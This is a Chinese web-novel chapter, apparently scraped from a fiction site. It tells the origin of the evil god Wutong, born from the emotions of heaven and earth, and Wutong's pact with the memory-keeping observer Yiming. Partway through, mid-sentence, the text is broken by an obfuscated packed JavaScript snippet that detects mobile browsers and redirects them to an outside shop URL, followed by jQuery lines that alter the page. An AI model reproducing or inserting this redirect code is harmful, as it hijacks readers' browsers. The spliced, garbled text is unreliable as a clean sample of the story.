很久很久以前，还没有“神”这个概念的时候，世上先有了“情”。
不是人的情。是天地自己的情。
风吹过峡谷，留下呜咽，那是怒。雨落在湖面，泛起涟漪，那是哀。日出时霞光万丈，那是喜。日落时暮色沉沉，那是忧。雷声滚滚碾过天际，那是恐。万物生长，欣欣向荣，那是思。
这些情无处可去，便在天地间游荡，聚了又散，散了又聚。不知过了多少年，它们聚得久了，竟聚出了形。
第一缕形，是个婴儿。
没人看见祂怎么来的。只记得某一日，深山老林里传出了一声啼哭。那哭声里什么都有——喜的亮，怒的烈，哀的沉，忧的绵，恐的尖，思的韧。百兽听了，伏地不敢动；飞鸟听了，坠落不敢飞。
有胆大的猎人循声找去，在林间空地上看见一个婴儿。浑身赤裸，蜷在落叶堆里，眼睛却是睁着的。
那双眼睛，漆黑如墨，深不见底。猎人只看了一眼，便觉得自己的喜怒哀乐都被那双眼睛吸了进去，整个人空落落的，像被掏空了。
他落荒而逃。
那婴儿就是五通神。天地间第一个由情绪凝成的存在。
祂在深山里长大。饿了喝露水，冷了晒太阳，无聊了便看着山下的村庄发呆。看那些人笑，看那些人哭，看那些人吵架打架，看那些人相亲相爱。
祂看着看着，就学会了笑。
一开始是模仿，后来变成了本能。再后来，祂发现笑的时候，那些人类会放下戒备，会愿意靠近祂。于是祂就经常笑。笑得眉眼弯弯，笑得温和无害。
但祂的眼睛始终是黑的。那里面没有笑，只有深不见底的情绪海洋。
不知过了多少年，山下开始有了“神”的说法。人类给那些他们解释不了的东西起了名字，建了庙，烧了香。五通神偶尔会混进人群里，听听他们怎么议论自己。
“五通神？”一个老人说，“没听过。新来的吧？”
“听说是个邪神，管情绪的。”另一个年轻人说，“喜怒忧思恐，都归祂管。”
“邪神？”老人摇头，“我看未必。邪神哪有祂那样的？我听隔壁村的人说，祂笑起来可好看了，跟菩萨似的。”
五通神听到这里，笑了。
祂第一次知道，原来在人类眼里，笑等于好，不笑等于坏。这么简单的道理，祂竟然才明白。
后来祂开始主动出现在人类面前。
有时候是个幼童，天真烂漫。有时候是个少年，意气风发。有时候是青年，温文尔雅。有时候是中年，沉稳厚重。有时候是老年，慈祥和蔼。男女莫辨，阴晴不定。
祂见的人多了，渐渐发现了一件事——人类的情绪，远比天地间的那些风、雨、日、月复杂得多。
同是喜，有人喜极而泣，有人喜不自胜，有人喜上眉梢，有人喜怒不形于色。
同是怒，有人怒发冲冠，有人怒不可遏，有人敢怒不敢言，有人怒其不争。
同是哀，有人哀毁骨立，有人哀而不伤，有人哀莫大于心死……
每一种情绪，都有无数种面目。每一种面目，都值得祂细细品味。
于是祂开始收集。不是收集情绪本身，而是收集那些被情绪困住的人的故事。
有个书生，因科举不中而郁郁寡欢，最后投河自尽。祂记住了。
有个农妇，因儿子夭折而哭瞎双眼，最后疯癫而死。祂记住了。
有个将军，因战败被俘而含恨自刎，最后尸骨无存。祂记住了。
有个皇帝，因江山易主而悲愤交加，最后服毒身亡。祂记住了。
祂记住了太多太多，多到有些开始模糊，有些开始遗忘。
神也会忘。这是祂最大的弱点。
所以当祂遇见那个佚名的时候，祂眼前一亮。
那个年轻人，坐在私塾的窗前，看着外面的槐花发呆。窗外的槐花开得正好，香气一阵一阵飘进来。祂的眼神空空的，冷冷的，不像在看人，像是在看一件东西。
但祂没有看东
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420259|200808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
西。祂在看花。
五通神知道，那是佚名——一个以盗取他人人生为生的种族。祂们不沾因果，不介入事件，天生的观察者。
更重要的是，祂们记忆互通，即使也会遗忘，但祂们的记忆就像有了备份，可以回顾。就像在看一本书，公正、客观。
祂们太适配了。
五通神笑了。这一次，祂的眼睛里也有了些许笑意。
“你帮我看着他们。”祂说，“我帮你活着。”
佚名看着祂，问：“为什么是我？”
“因为你是佚名。”五通神说。
佚名沉默了很久。
“成交。”
从那天起，五通神有了一个永远不会忘的帮手。那些祂记住的、快要忘掉的故事，佚名会帮祂记住。那些祂没时间去看的人，佚名会帮祂去看。
九十多年过去了。五通神还是那副样子，眉眼温和，嘴角带笑。祂换过无数次形象，幼童、少年、青年、中年、老年，男女莫辨，阴晴不定。但那双眼睛，那双漆黑如墨、深不见底的眼睛，从来没变过。
那个佚名也换过无数次身份。林煦、边向云、魏余、宫禄、燕子楠、沈烬。每一个壳子都是不同的脸，但那双空茫而泛着冷意的眼睛，也从来没变过。
五通神每次都会去看祂。每次。
佚名问：“你为什么每次都要来？”
五通神笑了。
“每次。”祂说，“我答应过你。”
祂没说出口的是：因为这世上，只有你不会忘。只有你，配记住我。
——据《邪物志·邪神谱》载，五通神乃天地间第一缕情绪凝成，成形于人类诞生之前。其掌管喜怒忧思恐五情，能随意变换五种形态——幼童、少年、青年、中年、老年，男女莫辨，阴晴不定。实力在邪神中数一数二，与童靈神关系不睦。世人皆以为祂喜怒无常，难以捉摸，却不知，祂只是太过长久地凝视着人类的情绪，凝视到把自己也忘了。祂需要的，是一个能记住祂的人。